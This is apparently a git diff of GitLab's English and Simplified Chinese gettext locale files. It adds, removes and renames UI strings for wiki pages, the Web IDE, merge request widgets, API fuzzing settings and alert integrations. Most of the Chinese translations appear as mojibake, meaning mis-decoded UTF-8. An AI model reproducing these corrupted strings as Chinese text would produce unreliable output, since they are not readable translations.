msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32701,6 +33470,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -32850,9 +33625,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -32880,6 +33661,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -32889,6 +33673,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33294,15 +34081,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33477,6 +34279,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33574,9 +34379,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33649,34 +34451,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33688,9 +34505,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33703,9 +34517,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33766,6 +34577,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -33922,6 +34736,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34063,6 +34883,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34147,9 +34970,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34186,12 +35006,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34225,7 +35039,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34240,9 +35054,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34426,12 +35237,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34552,6 +35369,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34645,7 +35465,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34751,6 +35571,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35052,6 +35875,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35231,6 +36063,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35400,7 +36235,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35434,13 +36269,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35554,9 +36386,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35707,18 +36536,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35749,9 +36572,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -35818,15 +36638,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36099,9 +36910,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36147,6 +36955,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/zh_CN/gitlab.po b/locale/zh_CN/gitlab.po
index 203b0b0df68..9539a478dcc 100644
--- a/locale/zh_CN/gitlab.po
+++ b/locale/zh_CN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: zh-CN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:50\n"
+"PO-Revision-Date: 2021-04-02 00:10\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -110,6 +110,10 @@ msgid "%d changed file"
msgid_plural "%d changed files"
msgstr[0] "%d 个已更改的文件"
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] "%d个å­å²è¯—。"
@@ -177,6 +181,10 @@ msgid "%d failed security job"
msgid_plural "%d failed security jobs"
msgstr[0] "%d个失败的安全扫æ作业"
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d个修å¤çš„测试结果"
@@ -333,6 +341,9 @@ msgstr "%{authorsName}的主题"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -345,6 +356,10 @@ msgstr "由%{commit_author_link}编写于%{commit_timeago}"
msgid "%{completedCount} completed weight"
msgstr "%{completedCount}已完æˆæƒé‡"
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr "总æƒé‡%{totalWeight}中的%{completedWeight}已完æˆ"
@@ -370,17 +385,9 @@ msgstr "æ¥è‡ª%{name}çš„%{count}个核准"
msgid "%{count} files touched"
msgstr "已选择 %{count} 个文件"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] "已选择%{count}个议题"
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] "已选择%{count}个åˆå¹¶è¯·æ±‚"
-
msgid "%{count} more"
msgstr "其余%{count}项"
@@ -473,8 +480,8 @@ msgstr "%{group_name}群组æˆå‘˜"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name}使用由群组托管å¸æˆ·ã€‚您需è¦åˆ›å»ºä¸€ä¸ªæ–°çš„GitLabå¸æˆ·ï¼Œè¯¥å¸æˆ·å°†é€šè¿‡%{group_name}组æ¥ç®¡ç†ã€‚"
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
-msgstr "%{group_name}&%{epic_iid} &middot; %{epic_created}ç”±%{author}å¼€å¯"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
+msgstr ""
msgid "%{hook_type} was deleted"
msgstr "%{hook_type}已删除"
@@ -854,6 +861,9 @@ msgstr "找到%{total}个警告: æ˜¾ç¤ºå‰ %{warningsDisplayed}"
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "%{usage_ping_link_start}了解更多%{usage_ping_link_end}分享给GitLab Inc.çš„ä¿¡æ¯ã€‚"
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (æ— æƒåˆå¹¶)"
@@ -985,6 +995,9 @@ msgstr[0] "+其余%d项"
msgid "+%{approvers} more approvers"
msgstr "+å¦å¤–%{approvers}个核准人"
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr "+%{more_assignees_count}"
@@ -1058,6 +1071,10 @@ msgid "1 day"
msgid_plural "%d days"
msgstr[0] "%d天"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] "%d个部署密钥"
@@ -1074,6 +1091,14 @@ msgid "1 hour"
msgid_plural "%d hours"
msgstr[0] "%då°æ—¶"
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "%{merge_requests}个已åˆå¹¶çš„åˆå¹¶è¯·æ±‚"
@@ -1082,6 +1107,10 @@ msgid "1 minute"
msgid_plural "%d minutes"
msgstr[0] "%d分钟"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "%{issues}个开放的议题"
@@ -1102,6 +1131,14 @@ msgid "1 user"
msgid_plural "%{num} users"
msgstr[0] "%{num} ä½ç”¨æˆ·"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+
msgid "1-9 contributions"
msgstr "1-9项贡献"
@@ -1219,9 +1256,6 @@ msgstr "未找到文件"
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr "文件å为%{file_name}的文件已ç»å­˜åœ¨äºŽ%{branch}分支中"
-msgid "A fork is a copy of a project."
-msgstr "派生是项目的副本。"
-
msgid "A group is a collection of several projects"
msgstr "群组为多个项目的集åˆã€‚"
@@ -1231,13 +1265,10 @@ msgstr "群组在GitLab中代表您的组织。群组å¯ä»¥ç”¨æ¥ç®¡ç†ç”¨æˆ·å¹¶
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1312,9 +1343,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "具有对æºåˆ†æ”¯çš„写入æƒé™çš„用户选择了此选项"
@@ -1333,13 +1361,25 @@ msgstr "API帮助"
msgid "API Token"
msgstr "API令牌"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1351,6 +1391,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1363,16 +1406,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1381,16 +1427,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1423,9 +1469,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1603,6 +1646,9 @@ msgstr "å¸æˆ·å’Œé™åˆ¶"
msgid "Account: %{account}"
msgstr "å¸æˆ·ï¼š%{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr "接收警报时è¦æ‰§è¡Œçš„æ“作。%{docsLink}"
@@ -1633,10 +1679,6 @@ msgstr "添加"
msgid "Add \"%{value}\""
msgstr "添加\"%{value}\""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "添加%d个议题"
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr "å°†%{linkStart}资æº%{linkEnd}添加到å‘布中。 GitLab会自动包å«åªè¯»èµ„æºï¼Œä¾‹å¦‚æºä»£ç å’Œå‘布è¯æ®ã€‚"
@@ -1682,6 +1724,9 @@ msgstr "添加GPG密钥"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr "在监测部分的管ç†ä¾§æ æ·»åŠ ä¸€ä¸ª Grafana 按钮,以便访问关于GitLab è¿è¡ŒçŠ¶å†µå’Œæ€§èƒ½çš„å„ç§ç»Ÿè®¡æ•°æ®ã€‚"
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "添加一个符å·åˆ—表"
@@ -1757,6 +1802,9 @@ msgstr "ç«‹å³æ·»åŠ è¯„论"
msgid "Add comment to design"
msgstr "添加注释到设计"
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "添加部署冻结"
@@ -1784,9 +1832,6 @@ msgstr "添加页眉和页脚到电å­é‚®ä»¶ã€‚请注æ„,颜色设置仅适用
msgid "Add image comment"
msgstr "添加图片评论"
-msgid "Add issues"
-msgstr "添加议题"
-
msgid "Add italic text"
msgstr "添加斜体文本"
@@ -1814,6 +1859,9 @@ msgstr "增加或å‡å°‘耗时"
msgid "Add previously merged commits"
msgstr "添加先å‰åˆå¹¶çš„æ交"
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "添加回应"
@@ -1832,6 +1880,9 @@ msgstr "添加系统钩å­"
msgid "Add to Slack"
msgstr "添加到Slack"
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr "添加到å²è¯—"
@@ -1925,6 +1976,9 @@ msgstr "更多的分钟数"
msgid "Additional text"
msgstr "附加文本"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "添加"
@@ -1952,6 +2006,9 @@ msgstr "请您调整上é¢çš„筛选器/æœç´¢æ¡ä»¶ã€‚如果您认为此处有è¯
msgid "Admin Area"
msgstr "管ç†ä¸­å¿ƒ"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr "管ç†å‘˜å¤‡æ³¨"
@@ -2093,9 +2150,6 @@ msgstr "您å³å°†åœæ­¢æ‰€æœ‰ä½œä¸šã€‚这会中断并结æŸæ‰€æœ‰æ­£åœ¨è¿è¡Œçš„
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "加载统计数æ®æ—¶å‡ºé”™ã€‚请å†è¯•ä¸€æ¬¡"
-msgid "AdminNote|Note"
-msgstr " 备注"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "您å³å°†æ°¸ä¹…删除项目 %{projectName},其仓库以åŠæ‰€æœ‰ç›¸å…³èµ„æºï¼ŒåŒ…括议题ã€åˆå¹¶è¯·æ±‚等。一旦确认并点击 %{strong_start}删除项目%{strong_end},将无法撤消或æ¢å¤ã€‚"
@@ -2531,6 +2585,12 @@ msgstr "管ç†"
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr "新加入的用户必须ç»è¿‡ç³»ç»Ÿç®¡ç†å‘˜å®¡æ ¸ä¸Žæ‰¹å‡†ã€‚了解更多关于%{help_link_start}用户数å°é¡¶%{help_link_end}çš„ä¿¡æ¯ã€‚"
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr "查看等待中的用户批准"
@@ -2577,6 +2637,9 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] "警报"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr "已确认"
@@ -2739,6 +2802,12 @@ msgstr "选择键"
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr "标题为在 GitLab中警报的必填字段。如果您指定的负载字段ä¸å¯ç”¨ï¼Œè¯·æŒ‡æ˜Žåº”该使用哪个字段。"
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2754,42 +2823,48 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr "删除集æˆ"
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr "编辑负载"
+msgid "AlertSettings|Enable integration"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr "输入集æˆå称"
-msgid "AlertSettings|External Prometheus"
-msgstr "外部Prometheus"
-
msgid "AlertSettings|HTTP Endpoint"
msgstr "HTTP 端点"
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr "如果您编辑负载,将会é‡ç½®å·²ä¿å­˜çš„映射,您需è¦é‡æ–°æ˜ å°„字段。"
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr "在 GitLabçš„å…费版本中,æ¯ç§ç±»åž‹åªèƒ½æ·»åŠ ä¸€ä¸ªé›†æˆã€‚ %{linkStart}å‡çº§æ‚¨çš„订阅%{linkEnd}以添加更多集æˆã€‚"
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr "继续编辑"
+msgid "AlertSettings|Prometheus"
+msgstr ""
+
msgid "AlertSettings|Prometheus API base URL"
msgstr "Prometheus API基础URL"
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
-msgstr ""
-
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
msgstr ""
@@ -2802,22 +2877,34 @@ msgstr "é‡ç½®æ˜ å°„"
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr "é‡ç½®æ­¤é¡¹ç›®çš„授æƒå¯†é’¥å°†éœ€è¦æ›´æ–°æ¯ä¸ªè­¦æŠ¥æºä¸­å¯ç”¨çš„授æƒå¯†é’¥ã€‚"
-msgid "AlertSettings|Sample alert payload (optional)"
-msgstr ""
-
msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr "已解æžç¤ºä¾‹è´Ÿè½½ã€‚您现在å¯ä»¥æ˜ å°„字段。"
+msgid "AlertSettings|Save & create test alert"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr "ä¿å­˜é›†æˆ"
+msgid "AlertSettings|Save integration & send"
+msgstr ""
+
msgid "AlertSettings|Select integration type"
msgstr "选择集æˆç±»åž‹"
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Send test alert"
msgstr ""
-msgid "AlertSettings|Send test alert"
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
